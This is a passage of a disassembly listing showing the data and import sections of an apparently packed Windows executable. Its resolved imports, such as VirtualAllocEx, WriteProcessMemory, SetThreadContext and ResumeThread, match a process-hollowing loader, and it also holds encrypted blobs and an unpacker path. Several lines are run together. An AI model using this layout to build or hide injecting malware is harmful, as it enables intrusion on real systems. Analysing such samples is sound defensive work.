		dd 2 dup(4001DF50h), 2 dup(4001DF58h), 2 dup(4001DF60h)
		dd 2 dup(4001DF68h), 2 dup(4001DF70h), 2 dup(4001DF78h)
		dd 2 dup(4001DF80h), 2 dup(4001DF88h), 2 dup(4001DF90h)
		dd 2 dup(4001DF98h), 2 dup(4001DFA0h), 2 dup(4001DFA8h)
		dd 2 dup(4001DFB0h), 2 dup(4001DFB8h), 2 dup(4001DFC0h)
		dd 2 dup(4001DFC8h), 2 dup(4001DFD0h), 2 dup(4001DFD8h)
		dd 2 dup(4001DFE0h), 2 dup(4001DFE8h), 2 dup(4001DFF0h)
		dd 2 dup(4001DFF8h), 2 dup(4001E000h), 2 dup(4001E008h)
		dd 2 dup(4001E010h), 2 dup(4001E018h), 2 dup(4001E020h)
		dd 2 dup(4001E028h), 2 dup(4001E030h), 2 dup(4001E038h)
		dd 2 dup(4001E040h), 2 dup(4001E048h), 2 dup(4001E050h)
		dd 2 dup(4001E058h), 2 dup(4001E060h), 2 dup(4001E068h)
		dd 2 dup(4001E070h), 2 dup(4001E078h), 2 dup(4001E080h)
		dd 2 dup(4001E088h), 2 dup(4001E090h), 2 dup(4001E098h)
		dd 2 dup(4001E0A0h), 2 dup(4001E0A8h), 2 dup(4001E0B0h)
		dd 2 dup(4001E0B8h), 2 dup(4001E0C0h), 2 dup(4001E0C8h)
		dd 2 dup(4001E0D0h), 2 dup(4001E0D8h), 2 dup(4001E0E0h)
		dd 2 dup(4001E0E8h), 2 dup(4001E0F0h), 2 dup(4001E0F8h)
		dd 2 dup(4001E100h), 2 dup(4001E108h), 2 dup(4001E110h)
		dd 2 dup(4001E118h), 2 dup(4001E120h), 2 dup(4001E128h)
		dd 2 dup(4001E130h), 2 dup(4001E138h), 2 dup(4001E140h)
		dd 2 dup(4001E148h), 2 dup(4001E150h), 2 dup(4001E158h)
		dd 2 dup(4001E160h), 2 dup(4001E168h), 2 dup(4001E170h)
		dd 2 dup(4001E178h), 2 dup(4001E180h), 2 dup(4001E188h)
		dd 2 dup(4001E190h), 2 dup(4001E198h), 2 dup(4001E1A0h)
		dd 2 dup(4001E1A8h), 2 dup(4001E1B0h), 2 dup(4001E1B8h)
		dd 2 dup(4001E1C0h), 2 dup(4001E1C8h), 2 dup(4001E1D0h)
		dd 2 dup(4001E1D8h), 2 dup(4001E1E0h), 2 dup(4001E1E8h)
		dd 2 dup(4001E1F0h), 2 dup(4001E1F8h), 2 dup(4001E200h)
		dd 2 dup(4001E208h), 2 dup(4001E210h), 2 dup(4001E218h)
		dd 2 dup(4001E220h), 2 dup(4001E228h), 2 dup(4001E230h)
		dd 2 dup(4001E238h), 2 dup(4001E240h), 2 dup(4001E248h)
		dd 2 dup(4001E250h), 2 dup(4001E258h), 2 dup(4001E260h)
		dd 2 dup(4001E268h), 2 dup(4001E270h), 2 dup(4001E278h)
		dd 2 dup(4001E280h), 2 dup(4001E288h), 2 dup(4001E290h)
		dd 2 dup(4001E298h), 2 dup(4001E2A0h), 2 dup(4001E2A8h)
		dd 2 dup(4001E2B0h), 2 dup(4001E2B8h), 2 dup(4001E2C0h)
		dd 2 dup(4001E2C8h), 2 dup(4001E2D0h), 2 dup(4001E2D8h)
		dd 2 dup(4001E2E0h), 2 dup(4001E2E8h), 2 dup(4001E2F0h)
		dd 2 dup(4001E2F8h), 2 dup(4001E300h), 2 dup(4001E308h)
		dd 2 dup(4001E310h), 2 dup(4001E318h), 2 dup(4001E320h)
		dd 2 dup(4001E328h), 2 dup(4001E330h), 2 dup(4001E338h)
		dd 2 dup(4001E340h), 2 dup(4001E348h), 2 dup(4001E350h)
		dd 2 dup(4001E358h), 2 dup(4001E360h), 2 dup(4001E368h)
		dd 2 dup(4001E370h), 2 dup(4001E378h), 2 dup(4001E380h)
		dd 2 dup(4001E388h), 2 dup(4001E390h), 2 dup(4001E398h)
		dd 2 dup(4001E3A0h), 2 dup(4001E3A8h), 2 dup(4001E3B0h)
		dd 2 dup(4001E3B8h), 2 dup(4001E3C0h), 2 dup(4001E3C8h)
		dd 2 dup(4001E3D0h), 2 dup(4001E3D8h), 2 dup(4001E3E0h)
		dd 2 dup(4001E3E8h), 2 dup(4001E3F0h), 2 dup(4001E3F8h)
		dd 2 dup(4001E400h), 2 dup(4001E408h), 2 dup(4001E410h)
		dd 2 dup(4001E418h), 2 dup(4001E420h), 2 dup(4001E428h)
		dd 2 dup(4001E430h), 2 dup(4001E438h), 2 dup(4001E440h)
		dd 2 dup(4001E448h), 2 dup(4001E450h), 2 dup(4001E458h)
		dd 2 dup(4001E460h), 2 dup(4001E468h), 2 dup(4001E470h)
		dd 2 dup(4001E478h), 2 dup(4001E480h), 2 dup(4001E488h)
		dd 2 dup(4001E490h), 2 dup(4001E498h), 2 dup(4001E4A0h)
		dd 2 dup(4001E4A8h), 2 dup(4001E4B0h), 2 dup(4001E4B8h)
		dd 2 dup(4001E4C0h), 2 dup(4001E4C8h), 2 dup(4001E4D0h)
		dd 2 dup(4001E4D8h), 2 dup(4001E4E0h), 2 dup(4001E4E8h)
		dd 2 dup(4001E4F0h), 2 dup(4001E4F8h), 2 dup(4001E500h)
		dd 2 dup(4001E508h), 2 dup(4001E510h), 2 dup(4001E518h)
		dd 2 dup(4001E520h), 2 dup(4001E528h), 2 dup(4001E530h)
		dd 2 dup(4001E538h), 2 dup(4001E540h), 2 dup(4001E548h)
		dd 2 dup(4001E550h), 2 dup(4001E558h), 2 dup(4001E560h)
		dd 2 dup(4001E568h), 2 dup(4001E570h), 2 dup(4001E578h)
		dd 2 dup(4001E580h), 2 dup(4001E588h), 2 dup(4001E590h)
		dd 2 dup(4001E598h), 2 dup(4001E5A0h), 2 dup(4001E5A8h)
		dd 2 dup(4001E5B0h), 2 dup(4001E5B8h), 2 dup(4001E5C0h)
		dd 2 dup(4001E5C8h), 2 dup(4001E5D0h), 2 dup(4001E5D8h)
		dd 2 dup(4001E5E0h), 2 dup(4001E5E8h), 2 dup(4001E5F0h)
		dd 2 dup(4001E5F8h), 2 dup(4001E600h), 2 dup(4001E608h)
		dd 2 dup(4001E610h), 2 dup(4001E618h), 2 dup(4001E620h)
		dd 2 dup(4001E628h), 2 dup(4001E630h), 2 dup(4001E638h)
		dd 2 dup(4001E640h), 2 dup(4001E648h), 2 dup(4001E650h)
		dd 2 dup(4001E658h), 2 dup(4001E660h), 2 dup(4001E668h)
		dd 2 dup(4001E670h), 2 dup(4001E678h), 2 dup(4001E680h)
		dd 2 dup(4001E688h), 2 dup(4001E690h), 2 dup(4001E698h)
		dd 2 dup(4001E6A0h), 2 dup(4001E6A8h), 2 dup(4001E6B0h)
		dd 2 dup(4001E6B8h), 2 dup(4001E6C0h), 2 dup(4001E6C8h)
		dd 2 dup(4001E6D0h), 2 dup(4001E6D8h), 2 dup(4001E6E0h)
		dd 2 dup(4001E6E8h), 2 dup(4001E6F0h), 2 dup(4001E6F8h)
		dd 2 dup(4001E700h), 2 dup(4001E708h), 2 dup(4001E710h)
		dd 2 dup(4001E718h), 2 dup(4001E720h), 2 dup(4001E728h)
		dd 2 dup(4001E730h), 2 dup(4001E738h), 2 dup(4001E740h)
		dd 2 dup(4001E748h), 2 dup(4001E750h), 2 dup(4001E758h)
		dd 2 dup(4001E760h), 2 dup(4001E768h), 2 dup(4001E770h)
		dd 2 dup(4001E778h), 2 dup(4001E780h), 2 dup(4001E788h)
		dd 2 dup(4001E790h), 2 dup(4001E798h), 2 dup(4001E7A0h)
byte_4001E7A8	db 0			; DATA XREF: sub_40001654+12o
					; sub_40001654:loc_4000167Fo ...
		align 4
dword_4001E7AC	dd 7FF60000h						; sub_40002540:loc_4000266Ao ...
dword_4001E7B0	dd 7FEA0000h						; sub_40001694+46w ...
		dd 2 dup(0)
dword_4001E7BC	dd 0							; sub_400022F0+59w ...
byte_4001E7C0	db 0			; DATA XREF: sub_400022F0+12o
					; sub_400022F0:loc_4000231Bo ...
		align 4
dword_4001E7C4	dd 0							; sub_40002BB4+9r ...
dword_4001E7C8	dd 0							; sub_40004790+4o
dword_4001E7CC	dd 12FFB4h						; sub_400044F0+2r
off_4001E7D0	dd offset dword_4001830C ; DATA	XREF: sub_40004518+6r
					; sub_4000457C+7r ...
dword_4001E7D4	dd 1Bh							; sub_40004518+2Bw ...
off_4001E7D8	dd offset dword_4001A7B4 ; DATA	XREF: sub_400045E4+20w
		dd 6 dup(0)
byte_4001E7F4	db 0			; DATA XREF: sub_40006428r
byte_4001E7F5	db 0			; DATA XREF: sub_400190AC+2Er
		align 4
dword_4001E7F8	dd 40000000h						; sub_40006474+16r ...
dword_4001E7FC	dd 0		dword_4001E800	dd 0FFFFFFFFh						; .itext:loc_40019098w
dword_4001E804	dd 0							; sub_40006758+22r ...
dword_4001E808	dd 0A24E58h						; sub_4000BE64+52o ...
byte_4001E80C	db 0			; DATA XREF: sub_40008800+24r
					; sub_4000BE64+7Bw
byte_4001E80D	db 0			; DATA XREF: sub_40008800+2Cr
					; sub_4000BE64+9Fw
byte_4001E80E	db 2Ch			; DATA XREF: sub_40008800+14r
					; sub_4000BE64+B2w
byte_4001E80F	db 2Eh			; DATA XREF: sub_40008800+Cr
					; sub_40008D00+14r ...
byte_4001E810	db 2			; DATA XREF: sub_4000843E+1F9r
					; sub_4000BE64+E9w
byte_4001E811	db 2Fh			; DATA XREF: sub_400096A8:loc_40009D5Br
					; sub_400096A8+6C4o ...
		align 4
dword_4001E814	dd 0A2C230h						; sub_400096A8+660r ...
dword_4001E818	dd 0A3A858h						; sub_4000BE64+151o ...
byte_4001E81C	db 3Ah			; DATA XREF: sub_400096A8:loc_40009D7Er
					; sub_400096A8+6E3o ...
		align 10h
dword_4001E820	dd 0A24E98h						; sub_4000A1CC+299r ...
dword_4001E824	dd 0A24EA8h						; sub_4000A1CC+2C3r ...
dword_4001E828	dd 0A2C248h						; sub_4000A1CC+24Dr ...
dword_4001E82C	dd 0A3A878h						; sub_400096A8+4A7r ...
dword_4001E830	dd 0A24D18h, 0A24D28h, 0A24D38h, 0A24D48h, 0A24D58h, 0A24D78h
					; DATA XREF: sub_4000A91C+29o
					; sub_4000CC50+9Fo
		dd 0A24D88h, 0A24D98h, 0A24DA8h, 0A24DB8h, 0A24DC8h
dword_4001E85C	dd 0A24DD8h	dword_4001E860	dd 0A2C080h, 0A2C098h, 0A2C0B0h, 0A2C0C8h, 0A24D68h, 0A2C0E0h
					; DATA XREF: sub_4000A91C+2Eo
					; sub_4000CC50+B4o
		dd 0A2C0F8h, 0A2C110h, 0A2C128h, 0A2C140h, 0A2C158h
dword_4001E88C	dd 0A2C170h						; sub_400096A8+629r
dword_4001E890	dd 0A24DE8h, 0A24DF8h, 0A24E08h, 0A24E18h, 0A24E28h, 0A24E38h
					; DATA XREF: sub_4000A91C+8Ao
					; sub_4000CC50+C9o
dword_4001E8A8	dd 0A24E48h						; sub_400096A8+5E3r
dword_4001E8AC	dd 0A2C188h, 0A2C1A0h, 0A2C1B8h, 0A2C1D0h, 0A2C1E8h, 0A2C200h
					; DATA XREF: sub_4000A91C+8Fo
					; sub_4000CC50+DEo
		dd 0A2C218h
dword_4001E8C8	dd 409h		dword_4001E8CC	dd 9							; sub_4000A170+6r ...
dword_4001E8D0	dd 1		dword_4001E8D4	dd 2C0100h						; sub_4000AA40:loc_4000AA54r ...
dword_4001E8D8	dd 6 dup(0)						; sub_4000CC50+F3o
dword_4001E8F0	dd 0							; sub_4000AA7C+43w
dword_4001E8F4	dd 0							; sub_4000A1CC+A6r ...
		dd 6 dup(0)
dword_4001E910	dd 0							; sub_40007E2C+10o ...
dword_4001E914	dd 0							; sub_40007E2C+47o ...
dword_4001E918	dd 0FFFFFFFFh						; sub_400190AC+11w
dword_4001E91C	dd 0A2C048h						; sub_4000B72C+12w ...
dword_4001E920	dd 0A2C060h						; sub_4000B72C+29w ...
byte_4001E924	db 0			; DATA XREF: sub_4000C230+CBr
					; sub_4000C230+F3r ...
		align 4
		dd 3Fh dup(0)
dword_4001EA24	dd 100h	dup(0)	dword_4001EE24	dd 100h	dup(0)	dword_4001F224	dd 0		dword_4001F228	dd 77126AEAh						; .data:off_4001B064o
dword_4001F22C	dd 771993C5h	dword_4001F230	dd 7713C84Ah	dword_4001F234	dd 7713A795h	dword_4001F238	dd 7713B747h	dword_4001F23C	dd 77199F08h	dword_4001F240	dd 7713BF93h	dword_4001F244	dd 7719ABC6h	dword_4001F248	dd 7719AD1Ah	dword_4001F24C	dd 7713A911h	dword_4001F250	dd 7713B999h	dword_4001F254	dd 7719A9F4h	dword_4001F258	dd 77139F38h	dword_4001F25C	dd 7714F193h						; .data:off_4001B0B0o
dword_4001F260	dd 7714F33Ch	dword_4001F264	dd 7713C5FAh						; .data:off_4001AFF0o
dword_4001F268	dd 7716D9A8h						; .data:off_4001AF3Co
dword_4001F26C	dd 77162626h						; .data:off_4001B0A0o
dword_4001F270	dd 77150154h						; .data:off_4001AFC0o
dword_4001F274	dd 7716386Bh						; .data:off_4001AF04o
dword_4001F278	dd 7714521Ah						; .data:off_4001AFC8o
dword_4001F27C	dd 771500F2h						; .data:off_4001B058o
dword_4001F280	dd 0FFFFFFFFh	dword_4001F284	dd 0Ah,	0						; sub_40019144+1Ao
		dd 80020004h, 0
off_4001F294	dd offset sub_400166E8	; DATA XREF: sub_40019144+29w
					; .data:off_4001B02Co
off_4001F298	dd offset sub_4000DC90	; DATA XREF: sub_4000E35C+3Ar
					; sub_40019144+33w
off_4001F29C	dd offset sub_4000DBA0	; DATA XREF: sub_4000E744+33r
					; sub_4000ECE8+2Dr ...
off_4001F2A0	dd offset sub_4000DC90	; DATA XREF: sub_4000E654+5Dr
					; sub_40019144+43w
dword_4001F2A4	dd 0FFFFFFFFh						; sub_40019144+11w
dword_4001F2A8	dd 0							; sub_40012C6C+38r ...
dword_4001F2AC	dd 146F68h, 0FFFFFFFFh,	4 dup(0)					; sub_40012AF4:loc_40012B4Ao ...
dword_4001F2C4	dd 0FFFFFFFFh						; .itext:loc_400191F0w
dword_4001F2C8	dd 0A333FCh						; sub_40013ED4+5Fo ...
dword_4001F2CC	dd 48h							; sub_40013E14+1Fr ...
dword_4001F2D0	dd 0FFFFFFFFh						; sub_400191F8+11w
dword_4001F2D4	dd 0A41B78h						; sub_40013E60+6r ...
dword_4001F2D8	dd 0A41B50h						; sub_40013510+20r ...
dword_4001F2DC	dd 0		dword_4001F2E0	dd 0A41BA0h						; sub_40013CE4+1Cr ...
dword_4001F2E4	dd 146F90h, 0FFFFFFFFh,	4 dup(0)					; sub_40013E48o
dword_4001F2FC	dd 0FFFFFFFFh						; .itext:loc_4001928Cw
dword_4001F300	dd 0FFFFFFFFh						; .itext:loc_40019294w
dword_4001F304	dd 2F0803BAh	dword_4001F308	dd 0FFFFFFFFh						; .itext:4001929Eo
		dd 60h
dword_4001F310	dd 1B00017h						; .itext:400192C8r
dword_4001F314	dd 1900015h						; .itext:400192D4r
dword_4001F318	dd 18A0021h						; sub_40015918+14r ...
dword_4001F31C	dd 10003h	dword_4001F320	dd 145BA8h, 0FFFFFFFFh,	4 dup(0)					; .itext:400192AFo
dword_4001F338	dd 145BD0h, 0FFFFFFFFh,	4 dup(0)					; sub_40015358+10o ...
dword_4001F350	dd 0A41BC8h						; sub_40014F8C:loc_40015175r ...
dword_4001F354	dd 0A41BF0h						; sub_400151D0:loc_4001524Br ...
dword_4001F358	dd 0A41C18h						; sub_40015270:loc_40015333r ...
dword_4001F35C	dd 0A41C90h						; .itext:40019369w
dword_4001F360	dd 0A41C40h	dword_4001F364	dd 0FFFFFFFFh						; .itext:loc_40019398w
byte_4001F368	db 0			; DATA XREF: sub_40016AB0+19w
		align 4
dword_4001F36C	dd 0		dword_4001F370	dd 0							; sub_40016A34+9r ...
byte_4001F374	db 0			; DATA XREF: sub_40016A34+37w
					; sub_40016A34+76w ...
		align 4
dword_4001F378	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThread					; sub_40017A1C+2FEr
dword_4001F37C	dd 7C862A69h	; resolved to->KERNEL32.SetThreadContext					; sub_40017A1C+2F4r
dword_4001F380	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocEx					; sub_40017A1C+293r
dword_4001F384	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_40017A1C+277r
dword_4001F388	dd 7C83970Dh	; resolved to->KERNEL32.GetThreadContext					; sub_40017A1C+259r
dword_4001F38C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_40017A1C+1F9r ...
dword_4001F390	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_4001F394	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_4001F398	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_4001F39C	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_4001F3A0	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4001F3A4	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_400173FC+29Br
dword_4001F3A8	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemory					; sub_40017A1C+2B0r ...
dword_4001F3AC	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40017A1C+66r ...
dword_4001F3B0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4001F3B4	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40017D84+45r
dword_4001F3B8	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_40017D84+54r ...
dword_4001F3BC	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40017D84+67r ...
dword_4001F3C0	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_40017D84+F1r
dword_4001F3C4	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40017D84+13Cr ...
dword_4001F3C8	dd 3Fh dup(0)						; sub_40016FD8+58o
		dd 0F0000000h
byte_4001F4C8	db 4Bh			; DATA XREF: sub_40016FD8+2Do
					; sub_40016FD8+53o ...
		db 0BFh, 0A3h, 6Bh
		dd 27639A12h, 37AFC53Dh, 0ED1B495Bh, 784A1C8Dh,	0F3C68C20h
		dd 0E3F8BB6Eh, 5FDFA84Ch, 0D1B97FBDh, 34097043h, 0FA8E1114h
		dd 9F084422h, 7CA49C42h, 68AEECABh, 0E5935091h,	75293010h
		dd 7436962Dh, 13C08F6Ah, 1EF850Fh, 7176E72Eh, 0FF408641h
		dd 0B37DDD06h, 6C84942Ah, 7BE421D3h, 2C6DCB69h,	67E99E7Eh
		dd 89F9C826h, 566F0EC3h, 240BA78Ah, 3CACCFD0h, 0C104E24Fh
		dd 5877515Eh, 0F04565F6h, 0FB3B5961h, 0B02B64A0h, 0FD073947h
		dd 8302F425h, 3A600592h, 1E46FEBEh, 8BB117EEh, 0D7D8C7EAh
		dd 9B953800h, 2FCC180Dh, 81C2FCDBh, 52CDEB66h, 19A2DE3Eh
		dd 0D41A5455h, 0A1F1F7E1h, 0B8980CCEh, 0DC0A971Fh, 0E65AA6A5h
		dd 5D15B5B7h, 0B4573F16h, 0BCF5E8ADh, 80AACA62h, 0E07328D6h
		dd 994E35D9h, 9088239Dh, 7987A95Ch, 31BA48C4h, 0D5C972DAh
		dd 0B61D3303h, 827A5332h, 0F24DD2B2h
dword_4001F5C8	dd 7FF00010h						; .itext:4001982Dr ...
dword_4001F5CC	dd 0							; .itext:400198A3o ...
dword_4001F5D0	dd 0							; .itext:400198C2r ...
dword_4001F5D4	dd 42h dup(0)						; .itext:40019907o
dword_4001F6DC	dd 0							; .itext:40019A45r
dword_4001F6E0	dd 7							; sub_40017F10+17r ...
off_4001F6E4	dd offset dword_4002B378, 4 dup(0) ; DATA XREF:	.itext:40019646o
dword_4001F6F8	dd 53h dup(0)						; .itext:400199E6o ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .itext:4001956Eo
					; .itext:40019584o ...
		align 10h
		dd 3Bh dup(0)
dword_4001F94C	dd 0							; .itext:400195CAo ...
dword_4001F950	dd 0A24EB8h						; .itext:40019673o ...
dword_4001F954	dd 0A1DA68h						; .itext:400196DFo ...
dword_4001F958	dd 7FEA0018h						; .itext:40019713o ...
dword_4001F95C	dd 27511h						; .itext:40019707o ...
dword_4001F960	dd 4200h						; .itext:400195ADr
dword_4001F964	dd 10h dup(0)						; .itext:400195D6o
		db 0
byte_4001F9A5	db 49h,	5Ah, 4Ah	; DATA XREF: .itext:40019635o
		dd 0Ah dup(0)
		db 2 dup(0)
word_4001F9D2	dw 0			; DATA XREF: .itext:40019865o
		dd 0Fh dup(0)
		db 3 dup(0)
byte_4001FA13	db 5Dh			; DATA XREF: .itext:4001963Fo
		dd 574D4126h, 7F515549h, 4C454454h, 77595B4Dh, 0F594862h
		dd 58515060h, 17515B5Dh, 534E5C75h, 4F625953h, 266B7569h
		dd 527D102Dh, 1E534D51h, 59751815h, 56480258h, 4Ah, 1031h dup(0)
dword_40023B14	dd 0				dd 0
dword_40023B1C	dd 0							; .itext:400195DBr ...
		dd 0
dword_40023B24	dd 3, 9	dup(0)	dword_40023B4C	dd 1Bh							; .itext:4001968Er ...
dword_40023B50	dd 0							; .itext:40019688r ...
dword_40023B54	dd 3Fh							; .itext:4001969Ar ...
dword_40023B58	dd 0							; .itext:40019694r ...
byte_40023B5C	db 1			; DATA XREF: .itext:loc_400197E0r
byte_40023B5D	db 1			; DATA XREF: .itext:400197AEr
		align 10h
		dd 0
dword_40023B64	dd 0							; .itext:40019630w ...
aCWindowsSyst_0	db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019498o
					; .itext:400194D1o ...
		dd 3Bh dup(0)
dword_40023C68	dd 0		dword_40023C6C	dd 0		dword_40023C70	dd 0		dword_40023C74	dd 0		dword_40023C78	dd 0							; .itext:40019457r
aCWindowsSystem	db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019428o
					; .itext:40019437o
		dd 6Dh dup(0)
dword_40023E44	dd 0A0F378h						; .itext:40019446o
dword_40023E48	dd 27511h						; .itext:40019736r ...
dword_40023E4C	dd 55000h						; .itext:4001980Br ...
dword_40023E50	dd 0							; .itext:400199FFr ...
_bss		ends

; Section 5. (virtual address 00024000)
; Virtual size			: 00001134 (   4404.)
; Section size in file		: 00001134 (   4404.)
; Offset to raw	data for section: 00024000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 40024000h
		dd 24140h, 2 dup(0)
		dd 24678h, 243DCh, 24150h, 2 dup(0)
		dd 246C0h, 243ECh, 24160h, 2 dup(0)
		dd 24700h, 243FCh, 24178h, 2 dup(0)
		dd 24756h, 24414h, 24218h, 2 dup(0)
		dd 249F4h, 244B4h, 2422Ch, 2 dup(0)
		dd 24A40h, 244C8h, 24254h, 2 dup(0)
		dd 24AC4h, 244F0h, 242A4h, 2 dup(0)
		dd 24C12h, 24540h, 24368h, 2 dup(0)
		dd 24F64h, 24604h, 24388h, 2 dup(0)
		dd 24FE6h, 24624h, 24394h, 2 dup(0)
		dd 25014h, 24630h, 243A0h, 2 dup(0)
		dd 25040h, 2463Ch, 243A8h, 2 dup(0)
		dd 25056h, 24644h, 243CCh, 2 dup(0)
		dd 250F8h, 24668h, 243D4h, 2 dup(0)
		dd 25118h, 24670h, 5 dup(0)
		dd 24686h, 24696h, 246ACh, 0
		dd 246CEh, 246E2h, 246F2h, 0
		dd 2470Ch, 2471Eh, 2472Eh, 2473Ch, 2474Ah, 0
		dd 24764h, 2476Eh, 24776h, 24784h, 24794h, 247A4h, 247BEh
		dd 247D4h, 247ECh, 24804h, 24814h, 2482Ah, 24840h, 2484Ch
		dd 24858h, 2486Ah, 2487Ch, 2488Eh, 248A0h, 248B4h, 248CAh
		dd 248DCh, 248ECh, 248FEh, 2490Ch, 2491Eh, 2492Ah, 24938h
		dd 24944h, 24960h, 24972h, 24982h, 2498Eh, 2499Ah, 249ACh
		dd 249BCh, 249CAh, 249D8h, 249E6h, 0
		dd 24A02h, 24A10h, 24A1Eh, 24A2Ch, 0
		dd 24A4Ch, 24A58h, 24A66h, 24A74h, 24A80h, 24A94h, 24AA2h
		dd 24AAAh, 24AB6h, 0
		dd 24ACEh, 24AE0h, 24AF0h, 24AFAh, 24B06h, 24B14h, 24B24h
		dd 24B34h, 24B40h, 24B52h, 24B6Ch, 24B7Eh, 24B8Eh, 24BA6h
		dd 24BB6h, 24BC2h, 24BD6h, 24BE6h, 24BFCh, 0
		dd 24C20h, 24C3Eh, 24C4Ah, 24C54h, 24C6Ah, 24C7Ah, 24C82h
		dd 24C94h, 24CA6h, 24CB2h, 24CC0h, 24CCCh, 24CE2h, 24CECh
		dd 24CFCh, 24D0Ch, 24D1Ch, 24D34h, 24D50h, 24D60h, 24D70h
		dd 24D82h, 24D92h, 24DA8h, 24DB8h, 24DCAh, 24DDEh, 24DF4h
		dd 24E06h, 24E16h, 24E26h, 24E40h, 24E54h, 24E66h, 24E7Ch
		dd 24E88h, 24E98h, 24EA6h, 24EB8h, 24EC8h, 24ED6h, 24EEAh
		dd 24F02h, 24F1Ah, 24F28h, 24F38h, 24F44h, 24F56h, 0
		dd 24F72h, 24F84h, 24F98h, 24FA8h, 24FB6h, 24FC8h, 24FD6h
		dd 0
		dd 24FF4h, 25004h, 0
		dd 2501Eh, 25030h, 0
		dd 2504Eh, 0
		dd 25064h, 2507Ah, 25090h, 250A6h, 250B8h, 250CCh, 250DAh
		dd 250EAh, 0
		dd 25102h, 0
		dd 25124h, 0
dword_400243DC	dd 77124880h	dword_400243E0	dd 771544ADh	dword_400243E4	dd 77124BA7h			dd 0
dword_400243EC	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_400243F0	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_400243F4	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; .rsrc:40056C4Er
		dd 0
dword_400243FC	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_40024400	dd 7E41DAEAh	; resolved to->USER32.DestroyWindowdword_40024404	dd 7E42DFA8h	; resolved to->USER32.LoadStringAdword_40024408	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_4002440C	dd 7E42DF50h	; resolved to->USER32.CharNextA		dd 0
dword_40024414	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40024418	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_4002441C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40024420	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_40024424	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40024428	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_4002442C	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_40024430	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrementdword_40024434	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_40024438	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_4002443C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_40024440	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_40024444	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_40024448	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_4002444C	dd 7C801D4Fh	; resolved to->KERNEL32.LoadLibraryExAdword_40024450	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40024454	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_40024458	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4002445C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_40024460	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40024464	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_40024468	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_4002446C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_40024470	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_40024474	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_40024478	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_4002447C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_40024480	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; .text:loc_400033E4r
dword_40024484	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_40024488	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_4002448C	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_40024490	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_40024494	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_40024498	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4002449C	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_400244A0	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_400244A4	dd 7C810E51h	; resolved to->KERNEL32.GetFileTypedword_400244A8	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_400244AC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle		dd 0
